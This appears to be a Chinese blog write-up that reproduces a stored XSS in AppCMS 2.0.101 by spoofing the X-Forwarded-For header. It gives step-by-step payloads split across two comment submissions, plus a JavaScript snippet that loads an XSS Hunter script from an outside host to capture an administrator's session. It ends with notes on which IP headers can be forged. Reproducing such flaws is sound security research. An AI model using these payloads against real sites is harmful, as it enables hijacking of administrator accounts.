Appcms存储型XSS

发布于:2025-07-24 ⋅ 阅读:(14) ⋅ 点赞:(0)

环境

github下载的源码https://github.com/source-trace/appcms

版本是2.0.101,已经修复了。找不到符合版本了,只能修改下源码了

/**core/hlep.class.php
     * 获取客户端IP地址
     */
    public static function getip() {
        $onlineip = '';
        if (getenv('HTTP_CLIENT_IP') && strcasecmp(getenv('HTTP_CLIENT_IP'), 'unknown')) {
            $onlineip = getenv('HTTP_CLIENT_IP');
        } elseif (getenv('HTTP_X_FORWARDED_FOR') && strcasecmp(getenv('HTTP_X_FORWARDED_FOR'), 'unknown')) {
            $onlineip = getenv('HTTP_X_FORWARDED_FOR');
        } elseif (getenv('REMOTE_ADDR') && strcasecmp(getenv('REMOTE_ADDR'), 'unknown')) {
            $onlineip = getenv('REMOTE_ADDR');
        } elseif (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], 'unknown')) {
            $onlineip = $_SERVER['REMOTE_ADDR'];
        } 
        return $onlineip;
    } 

安装报了些错误,是数据库的错误,不怎么影响复现就不管了

分析

找下注入点:

存储型XSS容易出现点:评论区

入库了,肯定是存储型

在这里插入图片描述

看下评论区输入数据可控点,发现这个内容框有过滤,把<>进行实体编码,因此无法进入标签开始状态。

在这里插入图片描述

在这里插入图片描述

前端显示:用户名,IP,时间,内容。用户名有过滤且长度切割,内容有过滤,时间没法控制,只有IP了,看下IP如何获取

也就是修改源码的地方,发现IP可以通过X_FORWARDED_FOR获取,这是可控的

但是数据库中IP字段有长度限制,最多20位

现在问题又转化为如何绕过20位长度限制来XSS

总结当下可用条件:

  • comment 只能传字符串,<>会被过滤,但长度没有限制
  • X_FORWARDED_FOR 可以传<>标签,但是长度又限制

再次看后台展示界面发现,数据展示时,按照传入的时间,由新到旧排列,且内容在IP前面

至此条件齐全了,可以把标签放在IP里,payload放在内容里,且将中间多余内容注释掉即可

第二个包 comment2 IP2

第一个包 comment1 IP1

最终形成 IP2 comment1 IP1

​ 标签开始/* */payload/* */标签结束

测试

测试alert(1)

第一个包

X_FORWARDED_FOR(IP1):*/</script>

comment(comment1):*/alert(1)/*

在这里插入图片描述

在这里插入图片描述

第二个包

X_FORWARDED_FOR(IP2):</script>/*

comment(comment2):随意,用不上

在这里插入图片描述

在这里插入图片描述

完成,等待管理员查看

在这里插入图片描述

成功弹出,看html也正如预想

在这里插入图片描述

使用XSS Hunter

var scriptElement = document.createElement('script');
scriptElement.src ='https://js.rip/rsxb1h7957';
document.body.appendChild(scriptElement);

就是用上面的内容替换alert(1)

在xsshunter上等待接收

在这里插入图片描述

注意!!! 使用时必须要挂代理,不然xss hunter网页不显示

补充

1. HTTP_CLIENT_IP

  • 含义:某些代理服务器或负载均衡器会把客户端的真实IP放在这个HTTP头里。

  • 是否可靠不可靠。这个头不是标准HTTP头,很多环境不会设置。

  • 是否可控完全可控。攻击者可以轻易伪造这个头,比如:

    Client-IP: 1.2.3.4
    

2. HTTP_X_FORWARDED_FOR

  • 含义:最常见的代理转发头,标准格式是:

    X-Forwarded-For: 真实IP, 代理1, 代理2...
    

    第一个IP一般是用户真实IP。

  • 是否可靠不可靠。因为它是可伪造的。

  • 是否可控完全可控。比如:

    X-Forwarded-For: 8.8.8.8
    

3. REMOTE_ADDR(通过 getenv()

  • 含义:这是TCP连接的对端IP,也就是直接连到服务器的IP。
  • 是否可靠相对可靠(在没有反向代理的情况下)。
  • 是否可控不可控(除非用户能控制TCP连接本身,比如直接伪造IP,但这需要网络层攻击,难度高)。

4. $_SERVER['REMOTE_ADDR']

  • 含义:和上面一样,只是获取方式不同。
  • 是否可靠/可控:同上。

总结:IP来源与可控性

来源 是否标准 是否可靠 是否可控(可伪造)
HTTP_CLIENT_IP ✅ 完全可控
HTTP_X_FORWARDED_FOR 是(事实标准) ✅ 完全可控
----------------------
HTTP_CLIENT_IP ✅ 完全可控
HTTP_X_FORWARDED_FOR 是(事实标准) ✅ 完全可控
REMOTE_ADDR ✅ 相对可靠 ❌ 不可控(除非底层伪造)

网站公告

今日签到

点亮在社区的每一天
去签到